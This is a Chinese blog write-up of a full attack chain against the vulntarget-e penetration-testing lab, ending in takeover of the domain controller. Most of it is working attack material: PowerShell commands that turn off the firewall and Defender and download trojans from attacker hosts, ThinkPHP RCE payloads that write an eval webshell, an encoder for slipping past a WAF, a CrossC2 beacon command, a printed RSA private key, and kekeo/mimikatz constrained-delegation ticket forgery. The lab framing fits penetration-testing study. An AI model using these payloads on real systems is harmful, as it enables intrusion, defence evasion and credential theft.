前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【永久开源】vulntarget-e打靶记录—作者:NaMi

【永久开源】vulntarget-e打靶记录—作者:NaMi

作者头像
乌鸦安全
发布2022-04-15 09:02:33
1.4K0
发布2022-04-15 09:02:33
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

本文作者Nmai,本文刊发已获得作者授权!

关于vulntarget靶场:

vulntarget漏洞靶场系列(五)— vulntarget-e

1. 拓扑

2. 向日葵RCE

端口开放在1000-65535之间,需要进行扫描探测:

端口被过滤,nmap不能判断端口是否开启,说明开启了防火墙

尝试了好多个绕过防火墙的方法,都不行,可能和本地环境有关。然后自己写了一个http服务爆破的脚本,使用golang写的。

代码语言:javascript
复制
package main
import (
    "fmt"
    "io/ioutil"
    "net/http"
    "strconv"
    "strings"
    "sync"
    "time"
)
func httpGet(port int, wg *sync.WaitGroup, ch *chan string) {
    defer wg.Done()
    strPort := strconv.Itoa(port)
    url := "http://192.168.100.155:" + strPort
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Println(err)
    }
    client := &http.Client{Timeout: 1 * time.Second}
    rep, err := client.Do(req)
    if err != nil {
        return
    }
    defer rep.Body.Close()
    byteBody, _ := ioutil.ReadAll(rep.Body)
    Body := string(byteBody)
    if Body != "" {
        *ch <- Body + "端口:" + strconv.Itoa(port)
    }
}
func portHandling(port string) {
    ch := make(chan string)
    wg := sync.WaitGroup{}
    if strings.Index(port, "-") != -1 {
        split := strings.Split(port, "-")
        before, _ := strconv.Atoi(split[0])
        after, _ := strconv.Atoi(split[1])
        for i := before; i <= after; i++ {
            wg.Add(1)
            go httpGet(i, &wg, &ch)
        }
    }
    result := <-ch
    fmt.Println(result)
    wg.Wait()
}
func main() {
    portHandling("40000-50000")
}

执行结束后可以看到返回的一个结果,由于前面给提示了,就直接对4-5w端口进行扫描了(我扫描的时候是这个,但真实情况应该是从1000就开始扫描的),速度还是挺快的。

还可以使用网上的脚本进行探测,既然知道了端口,就直接进行利用了:

可以看到存在漏洞:

查看防火墙状态,有点乱码:

代码语言:javascript
复制
netsh advfirewall show allprofile state

关闭所有防火墙:

代码语言:javascript
复制
netsh advfirewall set allprofiles state off

再次进行端口扫描发现已经关闭掉了防火墙:

关闭杀软:

代码语言:javascript
复制
set-MpPreference -DisableRealtimeMonitoring $true
代码语言:javascript
复制
代码语言:javascript
复制
powershell ( new-object System.Net.WebClient).DownloadFile( 'http://192.168.100.10:81/artifact.exe' , 'C:\Users\Administrator\s.exe' )

尝试了好多次使用powershell下载命令,都没成功。返回到win2016看了一下,木马被杀了,虽然关闭了defender但是实时保护还是开启的:

被杀的木马:

做免杀或者使用这条语句:

代码语言:javascript
复制
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\Users\Administrator"

下载文件:

查看文件:

执行程序:

上线CS:

内网信息搜集

administrator的桌面上发现了一个文件,存放的是一些域名。下载下来留着

查看当前网卡,只有一块网卡,继续横向渗透

当前也不再域中

抓取hash

388f586516a4cba963b4181363b44034

先使用小工具探测IP存活,发现了一台131机器

或者使用arp -a

在使用端口扫描工具进行端口扫描,发现了开放的22、80、3333、8888其中888是bt面板

抓取浏览器密码为空。

2.1 ThinkPHP ByPass 宝塔

通过host碰撞拿到一个后台登录

访问domain,这个后面跟的是vulntarget/public路径,我没有下最新版的包,先这样做

打开是一个thinkphp的网站,然后使其报错,可以看到ThinkPHP的版本号,然后根据版本号寻找漏洞POC

尝试了使用phpinfo会被拦截,我直接使用file_put_contents写入文件。这里的../../是因为当前目录不可写,所以需要目录穿越找到可写目录

代码语言:javascript
复制
代码语言:javascript
复制
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=test123
代码语言:javascript
复制
写入成功:

base64_decode被过滤了,使用hex解码进行绕过

代码语言:javascript
复制
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=<?php @eval(hex2bin($_REQUEST[1]));

phpinfo中可以看到过滤了很多函数,作者大方的给我们开放了eval函数。

但是不会写hex解码的函数,只能网上找一篇现有的文章,url编码绕过bt

代码语言:javascript
复制
'use strict';
function forceUrlEn(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
  //data['_']原有的payload
  const payload = data['_']
  data[pwd] = forceUrlEn(forceUrlEn(forceUrlEn(payload)));
  delete data['_'];
  return data;
}

连接上蚁剑之后命令还是不可以执行的:

使用php7-gc-bypass绕过bt

代码语言:javascript
复制
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

当前权限是www,而且使用ping,也ping不到155这台机器:

home/vulntarget下发现了个key文件:

打开之后是个密钥:

代码语言:javascript
复制
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs/Zyjpunfoe7BH/X98lx74rwbA4lhp2XGSOazgAmZjDNjm5U
XVrAjwPEiIC7cFqwmYz0gRd1enSbeAooH8JfGS5oQgsILBGEhXHakOoCByrswJeH
e7wnXhVamAnZVFHYrvI3geYs98BsZAbr2iN8LORhLVQoKmJK22FzYOpWh3sDIpIm
cAGl2iYbotpYYJXhE9sgYXwI4k3v8x/VTGajNCVs+/S7cNyzJUShpCF4yhGxZil1
8iOKaxpsTcmqIuldUNeuhpfmRmN3VyIb6H7Z0A+AnPxCWmGwfl1oGEXIKdyB3OSn
HldeV3OlGv3aG/WwlDIlRGp7AmcYmcFJ7euBqQIDAQABAoIBAElNCqA3mmOZWX2d
rRQKg1P0nbUFlhdcvRzKOdXKjdl162QmYEqeGmymNjj7Zl1/Mwt4NGcYbQtxz5l3
WZyGCUIyetjbsXpxsC7CjyoThrvwqfpQPikSHF7gB8SBznnf1Ih9tEo+vPY09HFR
uGNjrMKES2ixLKMG4kK1UM+a45/OtWCZHewWtxqIuwEcxA0M9Ac783Zz9C3Hc+Mf
j7Tct0oecIUKOixtJEdTHdylgBh7HLNMRAwtdcA04EwsI/zzWJNneQEV+eAn3Geb
ISsorknRZQukVDKVABp36l1mgS7FO+p/spPMT4fHLVPCMI54v+Ojj273L2PImvEa
F8kVN5kCgYEA7SnHfYlwcvVa5uvt4nXWABEkhmgjRKhojCqT8TbFqCqy++93C3TD
bkPsAhAyVyvVqG2BW/ceGLdjaTyIwGNR1YFZ8rRjTbNtcARsiBusYZOp3Sv6CQi6
tzBcDhlaD9I0+BDlLu41L4bIC8cRVX+QpW2y0+j0nH0ZQK5ZU59vH4MCgYEAwkGd
Wc79CdX4DdF9mzSQpYfTNjt8dH78t12j+TeX2WzI3LGgZGhvkubCxnCDnk9G0n7G
hxzIjBjsbKUmIsLW+85XATDomCG0I4X2r+prOinfMfXqTrwSjL/DgZJGZi5HSOSl
+53WKI+88lDNWNDcDdngjUWIB5OX7h0wNy6xxmMCgYAyW9i8U17JSkgPGLHekF7s
jLdQwvQaNBhfCvt3EMZPuyFeVa7Vg+mrlEic94t47xnjNb1uJb8CSI6XXf87uts5
lsneu2cKrLrkOkxBan7kCVLcX+Yr3Oqo01/4rnFtQpl0w0GnAXXRrbD0r0SC/x9b
wTtju+eVAwtFrL/S/du+uQKBgHB6Q5zrwBJA5XdC1KLYheSCx+Y//WkK2lNmEfrM
mM0ZMxiudPuOiQQbP65dGajBqHVbWKKFJQ4RpFuoKHO6M3br2+7hndvwr/hdqh/j
8SBlfEnWZUwfk/IRWyecRc0GgNoRIpaVppon2DTKWoxRqwkOHfpOx1vztuX12qQp
EmCXAoGAD4MOGvLI0YEK6PRGijueG9peO3lwDXnf4syt8iTAnY+M2oHxv9roqGwD
aZkdjgE+K4mBEuY0g1T2MI5ZZEujI0HXWfetu6L6nJttvy30vcTY2u01eewOcned
p15Q9y0+ZCJSSWg/snrsPUC764AfSbae3+X0dKJ0O1rD3vxg/a4=
-----END RSA PRIVATE KEY-----

然后使用ssh私钥进行登录,使用vulntarget不对,尝试使用root登录成功

vim key && chmod 600 key

2.2 win2008 SMB弱口令

当前机器是有两块网卡:

首先关闭防火墙,这样就可以通155这台机器了

Linux上线,使用C2生成linux木马:

代码语言:javascript
复制
代码语言:javascript
复制
./genCrossC2.Linux 192.168.100.10 443 null null Linux x64 C2

可以正常执行命令

通过arp -a发现了另一台机器的IP地址:

CS的代理太慢了,上传一个frp建立隧道:

win2008这里的1433端口,没开放,手动开启:

扫描到开放的端口:

爆破1433的密码,使用数据库漏洞进行提权,这里sa密码爆破不成功,尝试多个用户,没爆破成功。。。。

smb密碼爆破成功了

使用impack脚本连接成功

tasklist没发现杀毒,上传木马文件:

代码语言:javascript
复制
powershell ( new-object System.Net.WebClient).DownloadFile( 'http://192.168.88.100:81/zf4444.exe' , 'C:\Users\Administrator\s.exe' )

使用msf生成木马文件上传上去没问题,能返回meterpreterCS生成的后门执行不了:

当前存在第二块网卡,一会扫描第二块网卡:

使用arp -a发现另一个IP:10.0.10.10

通过systeminfo发现了域环境:

使用msf的后渗透模块定位到了域控制器,使用net time /domain提示我没权限,还可以使用端口爆破的方式查找域控制器:

代码语言:javascript
复制
run post/windows/gather/enum_domain

提升一下权限:

抓取密码进行破解忘记截图了: win2008 qweASD123

2.3 约束性委派

查找设置了约束性委派的主机或者域用户,可以使用ADFindpowershell脚本和kali自带的ldapsearch。使用kekeo工具,生成一个假的票据。这个票据需要域用户的用户名和密码,还要注意权限:

代码语言:javascript
复制
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:administrator.kirbi

再使用这张假的票据伪造域控的st

代码语言:javascript
复制
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@vulntarget.COM.kirbi  /user:Administrator@vulntarget.com  /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

执行完之后会生成两个文件:

将带有cifs的这个票据使用mimikatz导入到内存中:

代码语言:javascript
复制
mimikatz.exe
kerberos::ptt 票据

访问域控,至此拿下域控制器

代码语言:javascript
复制
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 拓扑
  • 2. 向日葵RCE
    • 2.1 ThinkPHP ByPass 宝塔
      • 2.2 win2008 SMB弱口令
        • 2.3 约束性委派
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档